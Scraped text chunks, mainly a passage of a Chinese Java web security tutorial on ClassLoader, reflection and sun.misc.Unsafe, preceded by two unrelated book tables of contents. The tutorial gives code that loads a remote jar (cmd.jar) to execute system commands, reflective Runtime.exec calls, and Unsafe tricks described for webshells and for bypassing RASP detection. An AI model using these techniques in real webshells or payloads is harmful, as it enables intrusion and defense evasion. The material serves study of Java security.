    {"text": "未知 第15章 编写IDA 脚本 事实上，没有哪一个应用程序能够满足每名用户的一切需求。要想预测每一种可能出现的情况，几乎是不可能的事情。应用程序开发者面临两种选择：要么满足用户提出的无止境的功能要求，要么提供一种方法，供用户解决问题。IDA 采用了后一种方法，它集成了一个脚本引擎，让用户从编程角度对 IDA 的操作进行全面控制。 脚本的潜能无限，可用于开发简单的单行程序，也可以开发功能全面的程序，从而自动执行常见的任务，也能实现复杂的分析功能。从自动化的角度看，你可以将 IDA 脚本看成宏 1 ；而从分析的角度看，IDA 脚本语言可看成是一种查询语言，它能够以编程方式访问 IDA数据库的内容。IDA 使用两种不同的语言编写脚本。IDA 的原始嵌入式脚本语言叫做IDC ，之所以取这个名称，可能是因为它的语法与 C 语言的语法非常相似。自IDA 5.4 发布以来 2 ，IDA 还通过集成由Gergely Erdelyi 3 开发的IDAPython 插件来支持Python集成式脚本。本章剩余部分将介绍编写和执行IDC 和Python脚本的基础知识，以及一些可供程序员使用的有用函数。 1. 许多应用程序可将操作序列记录到一个叫做“宏”的复杂操作中。重播或触发宏，将执行其记录的整个操作步骤。宏提供了一种简单的方法，可自动执行一系列复杂的操作。 2. 有关每个新版本的IDA 引入的功能的完整列表，请访问 http://www.hex-rays.com/idapro/idanew48.htm 。 3. 参见 http://code.google.com/p/idapython/ 。 未知 第26章 其他调试功能 在第24章和第 25章中，我们全面介绍了调试器的基本功能，包括用脚本实现调试器操作，以及如何使用它对代码进行去模糊处理。在这一章中，我们将了解如何通过 IDA进行远程调试，将 Bochs x86模拟器 1 作为调试平台，以及 Appcall 2 功能（它可以有效扩展 IDA的脚本功能，以包含由某进程及其相关库定义的任何函数），从而完成对调试器的讨论。 1. 参见 http://bochs.sourceforge.net/ 。 2. 参见 http://www.hexblog.com/?p=112 。 未知 23.8 小结 任何时候，如果你希望 IDA 能够执行某种任务，都应花时间考虑一下，其他人是否也有相同的愿望；以及是否有人已经采取行动，执行了 IDA 所缺乏的功能。许多 IDA 插件正是在这个过程中被开发出来。绝大多数公开发布的插件都非常简洁，专用于解决非常特殊的问题。除了可以为逆向工程问题提供可能的解决方案外，源代码可用的插件还可在你了解 IDA SDK 的有趣用法时提供有价值的参考。 未知 第五部分 实际应用 本部分内容： 第20章 编译器变体 第21章 模糊代码分析 第22章 漏洞分析 第23章 实用IDA插件"},
    {"text": "Safari | Java Security, 2nd Edition -> Preface Document Outline Table of Contents Preface Who Should Read This Book? Versions Used in This Book Conventions Used in This Book Organization of This Book What's New in This Edition How to Contact Us Acknowledgments Feedback for the Author Chapter 1. Java Application Security 1.1 What Is Security? 1.2 Software Used in This Book 1.3 The Java Sandbox 1.4 Security Debugging 1.5 Summary Chapter 2. The Default Sandbox 2.1 Elements of the Java Sandbox 2.2 Permissions 2.3 Keystores 2.4 Code Sources 2.5 Policy Files 2.6 The Default Sandbox 2.7 The java.security File 2.8 Comparison with Previous Releases 2.9 Summary Chapter 3. Java Language Security 3.1 Java Language Security Constructs 3.2 Enforcement of the Java Language Rules 3.3 Comparisons with Previous Releases 3.4 Summary Chapter 4. The Security Manager 4.1 Overview of the Security Manager 4.2 Operating on the Security Manager 4.3 Methods of the Security Manager 4.4 Comparison with Previous Releases 4.5 Summary Chapter 5. The Access Controller 5.1 The CodeSource Class 5.2 Permissions 5.3 The Policy Class 5.4 Protection Domains 5.5 The AccessController Class 5.6 Guarded Objects 5.7 Comparison with Previous Releases 5.8 Summary Chapter 6. Java Class Loaders 6.1 The Class Loader and Namespaces 6.2 Class Loading Architecture 6.3 Implementing a Class Loader 6.4 Miscellaneous Class Loading Topics 6.5 Comparison with Previous Releases 6.6 Summary Chapter 7. Introduction to Cryptography 7.1 The Need for Authentication 7.2 The Role of Authentication 7.3 Cryptographic Engines 7.4 Summary Chapter 8. Security Providers 8.1 The Architecture of Security Providers 8.2 The Provider Class 8.3 The Security Class 8.4 The Architecture of Engine Classes 8.5 Comparison with Previous Releases 8.6 Summary Chapter 9. Keys and Certificates 9.1 Keys 9.2 Generating Keys 9.3 Key Factories 9.4 Certificates 9.5 Keys, Certificates, and Object Serialization 9.6 Comparison with Previous Releases 9.7 Summary Chapter 10. Key Management 10.1 Key Management Terms 10.2 The keytool 10.3 The Key Management API 10.4 A Key Management Example 10.5 Secret Key Management 10.6 Comparison with Previous Releases 10.7 Summary Chapter 11. Message Digests 11.1 Using the Message Digest Class 11.2 Secure Message Digests 11.3 Message Digest Streams 11.4 Implementing a MessageDigest Class 11.5 Comparison with Previous Releases 11.6 Summary Chapter 12. Digital Signatures 12.1 The Signature Class 12.2 Signed Classes 12.3 Implementing a Signature Class 12.4 Comparison with Previous Releases 12.5 Summary Chapter 13. Cipher-Based Encryption 13.1 The Cipher Engine 13.2 Cipher Streams 13.3 Sealed Objects 13.4 Comparison with Previous Releases 13.5 Summary Chapter 14. SSL and HTTPS 14.1 An Overview of SSL and JSSE 14.2 SSL Client and Server Sockets 14.3 SSL Sessions 14.4 SSL Contexts and Key Managers 14.5 Miscellaneous SSL Issues 14.6 The HTTPS Protocol Handler 14.7 Debugging JSSE 14.8 Summary Chapter 15. Authentication and Authorization 15.1 JAAS Overview 15.2 Simple JAAS programming 15.3 Simple JAAS Administration 15.4 Advanced JAAS Topics 15.5 Summary Appendix A. The java.security File Appendix B. Security Resources B.1 Security Bugs B.2 Third-Party Security Providers B.3 Security References Appendix C. Identity-Based Key Management C.1 Javakey C.2 Identities C.3 Identity Scopes C.4 Key Management in an Identity Scope C.5 Summary Appendix D. The Secure Java Container D.1 The 1.1-Based Class Loader D.2 The 1.1-Based Security Manager D.3 Running Secure Applications D.4 Summary Appendix E. Implementing a JCE Security Provider Appendix F. Quick Reference F.1 Package java.security F.2 Package java.security.cert F.3 Package java.security.interfaces F.4 Package java.security.spec F.5 Package javax.crypto F.6 Package javax.crypto.interfaces F.7 Package javax.crypto.spec F.8 Package javax.net F.9 Package javax.net.ssl F.10 Package javax.security.auth F.11 Package javax.security.auth.callback F.12 Package javax.security.auth.login F.13 Package javax.security.auth.spi F.14 Package javax.security.cert F.15 Package com.sun.net.ssl F.16 Package com.sun.security.auth F.17 Package com.sun.security.auth.login F.18 Package com.sun.security.auth.module F.19 Miscellaneous Packages Cover"},
    {"text": "Java Web 安全 Java Web 安全 来源： https://www.wangan.com/docs/javasec 前言 前言 攻击Java Web应用-[Java Web安全] 攻击Java Web应用-[Java Web安全] 原文： https://www.wangan.com/docs/80 这是一个不定期更新的免费开源的 Java Web安全 相关知识归纳总结、培训的项目。该项目旨在竭尽所能的以简洁清晰的方式分享 Java安全 相关技术，将某些复杂的技术问题简单化，让更多的人能够学会 Java安全 。 尽管我在写文章的时候已尽可能的避免出现错误或问题，但难免会有描述不清或者错误的地方，如果您在阅读文章的时候发现任何问题都可以通过微信或提 issue 与我们联系，也欢迎大家加入 javasec 微信群一起交流。 @Author 安百科技 - 凌天实验室 -[ 园长 iiusky su18 ver007 ] @Date 2019-12-01 本文章首发在 网安wangan.com 网站上。 Java基础 Java基础 Java SE Java SE 原文： https://www.wangan.com/docs/81 Java平台共分为三个主要版本 Java SE ( Java Platform, Standard Edition -Java平台标准版)、 Java EE ( Java Platform Enterprise Edition -Java平台企业版)、和 Java ME ( Java Platform, Micro Edition -Java平台微型版)。 Java SE 是JDK自带的标准API，内容涉及范围甚广，知识体系更是环环相扣浩瀚无边。没有基础,何来进阶！本章节整理了一些 Java SE 基础部分与 Java SE 安全相关的基础知识供初学者学习进阶。 本文章首发在 网安wangan.com 网站上。"},
    {"text": "Class Loader (类加载机制) Class Loader (类加载机制) 原文： https://www.wangan.com/docs/82 Java是一个依赖于 JVM (Java虚拟机)实现的跨平台的开发语言。 Java程序在运行前需要先编译成 class文件 ，Java类初始化的时候会调用 java.lang.ClassLoader 加载类字节码， ClassLoader 会调用JVM的native方法( defineClass0/1/2 )来定义一个 java.lang.Class 实例。 JVM架构图： Java类 Java是编译型语言，我们编写的java文件需要编译成后class文件后才能够被JVM运行，学习 ClassLoader 之前我们先简单了解下Java类。 示例TestHelloWorld.java： package com . anbai . sec . classloader ; /** * Creator: yz * Date: 2019/12/17 */ public class TestHelloWorld { public String hello ( ) { return \"Hello World~\" ; } } 编译 TestHelloWorld.java ： javac TestHelloWorld.java 我们可以通过JDK自带的 javap 命令反汇编 TestHelloWorld.class 文件对应的 com.anbai.sec.classloader.TestHelloWorld 类，以及使用Linux自带的 hexdump 命令查看 TestHelloWorld.class 文件二进制内容： JVM在执行 TestHelloWorld 之前会先解析class二进制内容，JVM执行的其实就是如上 javap 命令生成的字节码( ByteCode )。 ClassLoader 一切的Java类都必须经过JVM加载后才能运行，而 ClassLoader 的主要作用就是Java类文件的加载。 在JVM类加载器中最顶层的是 Bootstrap ClassLoader(引导类加载器) 、 Extension ClassLoader(扩展类加载器) 、 App ClassLoader(系统类加载器) ， AppClassLoader 是默认的类加载器，如果类加载时我们不指定类加载器的情况下，默认会使用 AppClassLoader 加载类， ClassLoader.getSystemClassLoader() 返回的系统类加载器也是 AppClassLoader 。 值得注意的是某些时候我们获取一个类的类加载器时候可能会返回一个 null 值，如: java.io.File.class.getClassLoader() 将返回一个 null 对象，因为 java.io.File 类在JVM初始化的时候会被 Bootstrap ClassLoader(引导类加载器) 加载(该类加载器实现于JVM层，采用C++编写)，我们在尝试获取被 Bootstrap ClassLoader 类加载器所加载的类的 ClassLoader 时候都会返回 null 。 ClassLoader 类有如下核心方法： loadClass (加载指定的Java类) findClass (查找指定的Java类) findLoadedClass (查找JVM已经加载过的类) defineClass (定义一个Java类) resolveClass (链接指定的Java类) Java类动态加载方式 Java类加载方式分为 显式 和 隐式 , 显式 即我们通常使用 Java反射 或者 ClassLoader 来动态加载一个类对象，而 隐式 指的是 类名.方法名() 或 new 类实例。 显式 类加载方式也可以理解为类动态加载，我们可以自定义类加载器去加载任意的类。 常用的类动态加载方式： // 反射加载TestHelloWorld示例 Class . forName ( \"com.anbai.sec.classloader.TestHelloWorld\" ) ; // ClassLoader加载TestHelloWorld示例 this . getClass ( ) . getClassLoader ( ) . loadClass ( \"com.anbai.sec.classloader.TestHelloWorld\" ) ; Class.forName(\"类名\") 默认会初始化被加载类的静态属性和方法，如果不希望初始化类可以使用 Class.forName(\"类名\", 是否初始化类, 类加载器) ，而 ClassLoader.loadClass 默认不会初始化类方法。 ClassLoader类加载流程 理解Java类加载机制并非易事，这里我们以一个Java的HelloWorld来学习 ClassLoader 。 ClassLoader 加载 com.anbai.sec.classloader.TestHelloWorld 类重要流程如下： ClassLoader 会调用 public Class<?> loadClass(String name) 方法加载 com.anbai.sec.classloader.TestHelloWorld 类。 调用 findLoadedClass 方法检查 TestHelloWorld 类是否已经初始化，如果JVM已初始化过该类则直接返回类对象。 如果创建当前 ClassLoader 时传入了父类加载器( new ClassLoader(父类加载器) )就使用父类加载器加载 TestHelloWorld 类，否则使用JVM的 Bootstrap ClassLoader 加载。 如果上一步无法加载 TestHelloWorld 类，那么调用自身的 findClass 方法尝试加载 TestHelloWorld 类。 如果当前的 ClassLoader 没有重写了 findClass 方法，那么直接返回类加载失败异常。 如果当前类重写了 findClass 方法并通过传入的 com.anbai.sec.classloader.TestHelloWorld 类名找到了对应的类字节码，那么应该调用 defineClass 方法去JVM中注册该类。 如果调用loadClass的时候传入的 resolve 参数为true，那么还需要调用 resolveClass 方法链接类,默认为false。"},
    {"text": "返回一个被JVM加载后的 java.lang.Class 类对象。 自定义ClassLoader java.lang.ClassLoader 是所有的类加载器的父类， java.lang.ClassLoader 有非常多的子类加载器，比如我们用于加载jar包的 java.net.URLClassLoader 其本身通过继承 java.lang.ClassLoader 类，重写了 findClass 方法从而实现了加载目录class文件甚至是远程资源文件。 既然已知ClassLoader具备了加载类的能力，那么我们不妨尝试下写一个自己的类加载器来实现加载自定义的字节码(这里以加载 TestHelloWorld 类为例)并调用 hello 方法。 如果 com.anbai.sec.classloader.TestHelloWorld 类存在的情况下，我们可以使用如下代码即可实现调用 hello 方法并输出： TestHelloWorld t = new TestHelloWorld ( ) ; String str = t . hello ( ) ; System . out . println ( str ) ; 但是如果 com.anbai.sec.classloader.TestHelloWorld 根本就不存在于我们的 classpath ，那么我们可以使用自定义类加载器重写 findClass 方法，然后在调用 defineClass 方法的时候传入 TestHelloWorld 类的字节码的方式来向JVM中定义一个 TestHelloWorld 类，最后通过反射机制就可以调用 TestHelloWorld 类的 hello 方法了。 TestClassLoader示例代码： package com . anbai . sec . classloader ; import java . lang . reflect . Method ; /** * Creator: yz * Date: 2019/12/17 */ public class TestClassLoader extends ClassLoader { // TestHelloWorld类名 private static String testClassName = \"com.anbai.sec.classloader.TestHelloWorld\" ; // TestHelloWorld类字节码 private static byte [ ] testClassBytes = new byte [ ] { - 54 , - 2 , - 70 , - 66 , 0 , 0 , 0 , 51 , 0 , 17 , 10 , 0 , 4 , 0 , 13 , 8 , 0 , 14 , 7 , 0 , 15 , 7 , 0 , 16 , 1 , 0 , 6 , 60 , 105 , 110 , 105 , 116 , 62 , 1 , 0 , 3 , 40 , 41 , 86 , 1 , 0 , 4 , 67 , 111 , 100 , 101 , 1 , 0 , 15 , 76 , 105 , 110 , 101 , 78 , 117 , 109 , 98 , 101 , 114 , 84 , 97 , 98 , 108 , 101 , 1 , 0 , 5 , 104 , 101 , 108 , 108 , 111 , 1 , 0 , 20 , 40 , 41 , 76 , 106 , 97 , 118 , 97 , 47 , 108 , 97 , 110 , 103 , 47 , 83 , 116 , 114 , 105 , 110 , 103 , 59 , 1 , 0 , 10 , 83 , 111 , 117 , 114 , 99 , 101 , 70 , 105 , 108 , 101 , 1 , 0 , 19 , 84 , 101 , 115 , 116 , 72 , 101 , 108 , 108 , 111 , 87 , 111 , 114 , 108 , 100 , 46 , 106 , 97 , 118 , 97 , 12 , 0 , 5 , 0 , 6 , 1 , 0 , 12 , 72 , 101 , 108 , 108 , 111 , 32 , 87 , 111 , 114 , 108 , 100 , 126 , 1 , 0 , 40 , 99 , 111 , 109 , 47 , 97 , 110 , 98 , 97 , 105 , 47 , 115 , 101 , 99 , 47 , 99 , 108 , 97 , 115 , 115 , 108 , 111 , 97 , 100 , 101 , 114 , 47 , 84 , 101 , 115 , 116 , 72 , 101 , 108 , 108 , 111 , 87 , 111 , 114 , 108 , 100 , 1 , 0 , 16 , 106 , 97 , 118 , 97 , 47 , 108 , 97 , 110 , 103 , 47 , 79 , 98 , 106 , 101 , 99 , 116 , 0 , 33 , 0 , 3 , 0 , 4 , 0 , 0 , 0 , 0 , 0 , 2 , 0 , 1 , 0 , 5 , 0 , 6 , 0 , 1 , 0 , 7 , 0 , 0 , 0 , 29 , 0 , 1 , 0 , 1 , 0 , 0 , 0 , 5 , 42 , - 73 , 0 , 1 , - 79 , 0 , 0 , 0 , 1 , 0 , 8 , 0 , 0 , 0 , 6 , 0 , 1 , 0 , 0 , 0 , 7 , 0 , 1 , 0 , 9 , 0 , 10 , 0 , 1 , 0 , 7 , 0 , 0 , 0 , 27 , 0 , 1 , 0 , 1 , 0 , 0 , 0 , 3 , 18 , 2 , - 80 , 0 , 0 , 0 , 1 , 0 , 8 , 0 , 0 , 0 , 6 , 0 , 1 , 0 , 0 , 0 , 10 , 0 , 1 , 0 , 11 , 0 , 0 , 0 , 2 , 0 , 12 } ; @Override public Class < ? > findClass ( String name ) throws ClassNotFoundException { // 只处理TestHelloWorld类 if ( name . equals ( testClassName ) ) { // 调用JVM的native方法定义TestHelloWorld类 return defineClass ( testClassName , testClassBytes , 0 , testClassBytes . length ) ; } return super . findClass ( name ) ; } public static void main ( String [ ] args ) { // 创建自定义的类加载器 TestClassLoader loader = new TestClassLoader ( ) ; try { // 使用自定义的类加载器加载TestHelloWorld类 Class testClass = loader . loadClass ( testClassName ) ; // 反射创建TestHelloWorld类，等价于 TestHelloWorld t = new TestHelloWorld(); Object testInstance = testClass . newInstance ( ) ; // 反射获取hello方法 Method method = testInstance . getClass ( ) . getMethod ( \"hello\" ) ; // 反射调用hello方法,等价于 String str = t.hello(); String str = ( String ) method . invoke ( testInstance ) ; System . out . println ( str ) ; } catch ( Exception e ) { e . printStackTrace ( ) ; } } } 利用自定义类加载器我们可以在webshell中实现加载并调用自己编译的类对象，比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测，也可以用于加密重要的Java类字节码(只能算弱加密了)。"},
    {"text": "URLClassLoader URLClassLoader 继承了 ClassLoader ， URLClassLoader 提供了加载远程资源的能力，在写漏洞利用的 payload 或者 webshell 的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。"},
    {"text": "TestURLClassLoader.java示例： import java . io . ByteArrayOutputStream ; import java . io . InputStream ; import java . net . URL ; import java . net . URLClassLoader ; /** * Creator: yz * Date: 2019/12/18 */ public class TestURLClassLoader { public static void main ( String [ ] args ) { try { // 定义远程加载的jar路径 URL url = new URL ( \"https://javaweb.org/tools/cmd.jar\" ) ; // 创建URLClassLoader对象，并加载远程jar包 URLClassLoader ucl = new URLClassLoader ( new URL [ ] { url } ) ; // 定义需要执行的系统命令 String cmd = \"ls\" ; // 通过URLClassLoader加载远程jar包中的CMD类 Class cmdClass = ucl . loadClass ( \"CMD\" ) ; // 调用CMD类中的exec方法，等价于: Process process = CMD.exec(\"whoami\"); Process process = ( Process ) cmdClass . getMethod ( \"exec\" , String . class ) . invoke ( null , cmd ) ; // 获取命令执行结果的输入流 InputStream in = process . getInputStream ( ) ; ByteArrayOutputStream baos = new ByteArrayOutputStream ( ) ; byte [ ] b = new byte [ 1024 ] ; int a = - 1 ; // 读取命令执行结果 while ( ( a = in . read ( b ) ) != - 1 ) { baos . write ( b , 0 , a ) ; } // 输出命令执行结果 System . out . println ( baos . toString ( ) ) ; } catch ( Exception e ) { e . printStackTrace ( ) ; } } } 远程的 cmd.jar 中就一个 CMD.class 文件，对应的编译之前的代码片段如下： import java . io . IOException ; /** * Creator: yz * Date: 2019/12/18 */ public class CMD { public static Process exec ( String cmd ) throws IOException { return Runtime . getRuntime ( ) . exec ( cmd ) ; } } 程序执行结果如下： README . md gitbook javaweb - sec - source javaweb - sec . iml jni pom . xml ClassLoader总结 ClassLoader 是JVM中一个非常重要的组成部分， ClassLoader 可以为我们加载任意的java类，通过自定义 ClassLoader 更能够实现自定义类加载行为，在后面的几个章节我们也将讲解 ClassLoader 的实际利用场景。"},
    {"text": "Java反射机制 Java反射机制 原文： https://www.wangan.com/docs/83 Java反射( Reflection )是Java非常重要的动态特性，通过使用反射我们不仅可以获取到任何类的成员方法( Methods )、成员变量( Fields )、构造方法( Constructors )等信息，还可以动态创建Java类实例、调用任意的类方法、修改任意的类成员变量值等。 Java反射机制是Java语言的动态性的重要体现，也是Java的各种框架底层实现的灵魂。 获取Class对象 Java反射操作的是 java.lang.Class 对象，所以我们需要先想办法获取到Class对象，通常我们有如下几种方式获取一个类的Class对象： 类名.class ，如: com.anbai.sec.classloader.TestHelloWorld.class 。"},
    {"text": "Class.forName(\"com.anbai.sec.classloader.TestHelloWorld\") 。 classLoader.loadClass(\"com.anbai.sec.classloader.TestHelloWorld\"); 获取数组类型的Class对象需要特殊注意,需要使用Java类型的描述符方式，如下： Class < ? > doubleArray = Class . forName ( \"[D\" ) ; //相当于double[].class Class < ? > cStringArray = Class . forName ( \"[[Ljava.lang.String;\" ) ; // 相当于String[][].class 获取Runtime类Class对象代码片段： String className = \"java.lang.Runtime\" ; Class runtimeClass1 = Class . forName ( className ) ; Class runtimeClass2 = java . lang . Runtime . class ; Class runtimeClass3 = ClassLoader . getSystemClassLoader ( ) . loadClass ( className ) ; 通过以上任意一种方式就可以获取 java.lang.Runtime 类的Class对象了，反射调用内部类的时候需要使用 $ 来代替 . ,如 com.anbai.Test 类有一个叫做 Hello 的内部类，那么调用的时候就应该将类名写成： com.anbai.Test$Hello 。"},
    {"text": "反射java.lang.Runtime java.lang.Runtime 因为有一个 exec 方法可以执行本地命令，所以在很多的 payload 中我们都能看到反射调用 Runtime 类来执行本地系统命令，通过学习如何反射 Runtime 类也能让我们理解反射的一些基础用法。 不使用反射执行本地命令代码片段： // 输出命令执行结果 System . out . println ( IOUtils . toString ( Runtime . getRuntime ( ) . exec ( \"whoami\" ) . getInputStream ( ) , \"UTF-8\" ) ) ; 如上可以看到，我们可以使用一行代码完成本地命令执行操作，但是如果使用反射就会比较麻烦了，我们不得不需要间接性的调用 Runtime 的 exec 方法。 反射Runtime执行本地命令代码片段： // 获取Runtime类对象 Class runtimeClass1 = Class . forName ( \"java.lang.Runtime\" ) ; // 获取构造方法 Constructor constructor = runtimeClass1 . getDeclaredConstructor ( ) ; constructor . setAccessible ( true ) ; // 创建Runtime类示例，等价于 Runtime rt = new Runtime(); Object runtimeInstance = constructor . newInstance ( ) ; // 获取Runtime的exec(String cmd)方法 Method runtimeMethod = runtimeClass1 . getMethod ( \"exec\" , String . class ) ; // 调用exec方法，等价于 rt.exec(cmd); Process process = ( Process ) runtimeMethod . invoke ( runtimeInstance , cmd ) ; // 获取命令执行结果 InputStream in = process . getInputStream ( ) ; // 输出命令执行结果 System . out . println ( IOUtils . toString ( in , \"UTF-8\" ) ) ; 反射调用 Runtime 实现本地命令执行的流程如下： 反射获取 Runtime 类对象( Class.forName(\"java.lang.Runtime\") )。 使用 Runtime 类的Class对象获取 Runtime 类的无参数构造方法( getDeclaredConstructor() )，因为 Runtime 的构造方法是 private 的我们无法直接调用，所以我们需要通过反射去修改方法的访问权限( constructor.setAccessible(true) )。 获取 Runtime 类的 exec(String) 方法( runtimeClass1.getMethod(\"exec\", String.class); )。 调用 exec(String) 方法( runtimeMethod.invoke(runtimeInstance, cmd) )。"},
    {"text": "反射创建类实例 在Java的 任何一个类都必须有一个或多个构造方法 ，如果代码中没有创建构造方法那么在类编译的时候会自动创建一个无参数的构造方法。 Runtime类构造方法示例代码片段: public class Runtime { /** Don't let anyone else instantiate this class */ private Runtime ( ) { } } 从上面的 Runtime 类代码注释我们看到它本身是不希望除了其自身的任何人去创建该类实例的，因为这是一个私有的类构造方法，所以我们没办法 new 一个 Runtime 类实例即不能使用 Runtime rt = new Runtime(); 的方式创建 Runtime 对象，但示例中我们借助了反射机制，修改了方法访问权限从而间接的创建出了 Runtime 对象。 runtimeClass1.getDeclaredConstructor 和 runtimeClass1.getConstructor 都可以获取到类构造方法，区别在于后者无法获取到私有方法，所以一般在获取某个类的构造方法时候我们会使用前者去获取构造方法。 如果构造方法有一个或多个参数的情况下我们应该在获取构造方法时候传入对应的参数类型数组，如： clazz.getDeclaredConstructor(String.class, String.class) 。 如果我们想获取类的所有构造方法可以使用： clazz.getDeclaredConstructors 来获取一个 Constructor 数组。 获取到 Constructor 以后我们可以通过 constructor.newInstance() 来创建类实例,同理如果有参数的情况下我们应该传入对应的参数值，如: constructor.newInstance(\"admin\", \"123456\") 。 当我们没有访问构造方法权限时我们应该调用 constructor.setAccessible(true) 修改访问权限就可以成功的创建出类实例了。"},
    {"text": "获取当前类所有的成员方法： Method [ ] methods = clazz . getDeclaredMethods ( ) 获取当前类指定的成员方法： Method method = clazz . getDeclaredMethod ( \"方法名\" ) ; Method method = clazz . getDeclaredMethod ( \"方法名\" , 参数类型如String . class ，多个参数用 \",\" 号隔开 ) ; getMethod 和 getDeclaredMethod 都能够获取到类成员方法，区别在于 getMethod 只能获取到 当前类和父类 的所有有权限的方法(如： public )，而 getDeclaredMethod 能获取到当前类的所有成员方法(不包含父类)。"},
    {"text": "反射调用方法 获取到 java.lang.reflect.Method 对象以后我们可以通过 Method 的 invoke 方法来调用类方法。 调用类方法代码片段： method . invoke ( 方法实例对象 , 方法参数值，多个参数值用 \",\" 隔开 ) ; method.invoke 的第一个参数必须是类实例对象，如果调用的是 static 方法那么第一个参数值可以传 null ，因为在java中调用静态方法是不需要有类实例的，因为可以直接 类名.方法名(参数) 的方式调用。 method.invoke 的第二个参数不是必须的，如果当前调用的方法没有参数，那么第二个参数可以不传，如果有参数那么就必须严格的 依次传入对应的参数类型 。"},
    {"text": "获取当前类的所有成员变量： Field fields = clazz . getDeclaredFields ( ) ; 获取当前类指定的成员变量： Field field = clazz . getDeclaredField ( \"变量名\" ) ; getField 和 getDeclaredField 的区别同 getMethod 和 getDeclaredMethod 。 获取成员变量值： Object obj = field . get ( 类实例对象 ) ; 修改成员变量值： field . set ( 类实例对象 , 修改后的值 ) ; 同理，当我们没有修改的成员变量权限时可以使用: field.setAccessible(true) 的方式修改为访问成员变量访问权限。 如果我们需要修改被 final 关键字修饰的成员变量，那么我们需要先修改方法 // 反射获取Field类的modifiers Field modifiers = field . getClass ( ) . getDeclaredField ( \"modifiers\" ) ; // 设置modifiers修改权限 modifiers . setAccessible ( true ) ; // 修改成员变量的Field对象的modifiers值 modifiers . setInt ( field , field . getModifiers ( ) & ~ Modifier . FINAL ) ; // 修改成员变量值 field . set ( 类实例对象 , 修改后的值 ) ; Java反射机制总结 Java反射机制是Java动态性中最为重要的体现，利用反射机制我们可以轻松的实现Java类的动态调用。"},
    {"text": "Java的大部分框架都是采用了反射机制来实现的(如: Spring MVC 、 ORM框架 等)，Java反射在编写漏洞利用代码、代码审计、绕过RASP方法限制等中起到了至关重要的作用。"},
    {"text": "sun.misc.Unsafe sun.misc.Unsafe 原文： https://www.wangan.com/docs/84 sun.misc.Unsafe 是Java底层API( 仅限Java内部使用,反射可调用 )提供的一个神奇的Java类， Unsafe 提供了非常底层的 内存、CAS、线程调度、类、对象 等操作、 Unsafe 正如它的名字一样它提供的几乎所有的方法都是不安全的，本节只讲解如何使用 Unsafe 定义Java类、创建类实例。 如何获取Unsafe对象 Unsafe 是Java内部API，外部是禁止调用的，在编译Java类时如果检测到引用了 Unsafe 类也会有禁止使用的警告： Unsafe是内部专用 API, 可能会在未来发行版中删除 。 sun.misc.Unsafe 代码片段： import sun . reflect . CallerSensitive ; import sun . reflect . Reflection ; public final class Unsafe { private static final Unsafe theUnsafe ; static { theUnsafe = new Unsafe ( ) ; 省去其他代码 ... ... } private Unsafe ( ) { } @CallerSensitive public static Unsafe getUnsafe ( ) { Class var0 = Reflection . getCallerClass ( ) ; if ( var0 . getClassLoader ( ) != null ) { throw new SecurityException ( \"Unsafe\" ) ; } else { return theUnsafe ; } } 省去其他代码 ... ... } 由上代码片段可以看到， Unsafe 类是一个不能被继承的类且不能直接通过 new 的方式创建 Unsafe 类实例，如果通过 getUnsafe 方法获取 Unsafe 实例还会检查类加载器，默认只允许 Bootstrap Classloader 调用。 既然无法直接通过 Unsafe.getUnsafe() 的方式调用，那么可以使用反射的方式去获取 Unsafe 类实例。 反射获取 Unsafe 类实例代码片段： // 反射获取Unsafe的theUnsafe成员变量 Field theUnsafeField = Unsafe . class . getDeclaredField ( \"theUnsafe\" ) ; // 反射设置theUnsafe访问权限 theUnsafeField . setAccessible ( true ) ; // 反射获取theUnsafe成员变量值 Unsafe unsafe = ( Unsafe ) theUnsafeField . get ( null ) ; 当然我们也可以用反射创建 Unsafe 类实例的方式去获取 Unsafe 对象： // 获取Unsafe无参构造方法 Constructor constructor = Unsafe . class . getDeclaredConstructor ( ) ; // 修改构造方法访问权限 constructor . setAccessible ( true ) ; // 反射创建Unsafe类实例，等价于 Unsafe unsafe1 = new Unsafe(); Unsafe unsafe1 = ( Unsafe ) constructor . newInstance ( ) ; 获取到了 Unsafe 对象我们就可以调用内部的方法了。 allocateInstance无视构造方法创建类实例 假设我们有一个叫 com.anbai.sec.unsafe.UnSafeTest 的类，因为某种原因我们不能直接通过反射的方式去创建 UnSafeTest 类实例，那么这个时候使用 Unsafe 的 allocateInstance 方法就可以绕过这个限制了。 UnSafeTest代码片段： public class UnSafeTest { private UnSafeTest ( ) { // 假设RASP在这个构造方法中插入了Hook代码，我们可以利用Unsafe来创建类实例 System . out . println ( \"init...\" ) ; } } 使用Unsafe创建UnSafeTest对象： // 使用Unsafe创建UnSafeTest类实例 UnSafeTest test = ( UnSafeTest ) unsafe1 . allocateInstance ( UnSafeTest . class ) ; Google的 GSON 库在JSON反序列化的时候就使用这个方式来创建类实例，在渗透测试中也会经常遇到这样的限制，比如RASP限制了 java.io.FileInputStream 类的构造方法导致我们无法读文件或者限制了 UNIXProcess/ProcessImpl 类的构造方法导致我们无法执行本地命令等。 defineClass直接调用JVM创建类对象 ClassLoader 章节我们讲了通过 ClassLoader 类的 defineClass0/1/2 方法我们可以直接向JVM中注册一个类，如果 ClassLoader 被限制的情况下我们还可以使用 Unsafe 的 defineClass 方法来实现同样的功能。 Unsafe 提供了一个通过传入类名、类字节码的方式就可以定义类的 defineClass 方法： public native Class defineClass(String var1, byte[] var2, int var3, int var4); public native Class<?> defineClass(String var1, byte[] var2, int var3, int var4, ClassLoader var5, ProtectionDomain var6); 使用Unsafe创建TestHelloWorld对象： // 使用Unsafe向JVM中注册com.anbai.sec.classloader.TestHelloWorld类 Class helloWorldClass = unsafe1 . defineClass ( TEST_CLASS_NAME , TEST_CLASS_BYTES , 0 , TEST_CLASS_BYTES . length ) ; 或调用需要传入类加载器和保护域的方法： // 获取系统的类加载器 ClassLoader classLoader = ClassLoader . getSystemClassLoader ( ) ; // 创建默认的保护域 ProtectionDomain domain = new ProtectionDomain ( new CodeSource ( null , ( Certificate [ ] ) null ) , null , classLoader , null ) ; // 使用Unsafe向JVM中注册com.anbai.sec.classloader.TestHelloWorld类 Class helloWorldClass = unsafe1 . defineClass ( TEST_CLASS_NAME , TEST_CLASS_BYTES , 0 , TEST_CLASS_BYTES . length , classLoader , domain ) ; Unsafe 还可以通过 defineAnonymousClass 方法创建内部类，这里不再多做测试。 注意： 这个实例仅适用于 Java 8 以前的版本如果在 Java 8 中应该使用应该调用需要传类加载器和保护域的那个方法。 Java 11 开始 Unsafe 类已经把 defineClass 方法移除了( defineAnonymousClass 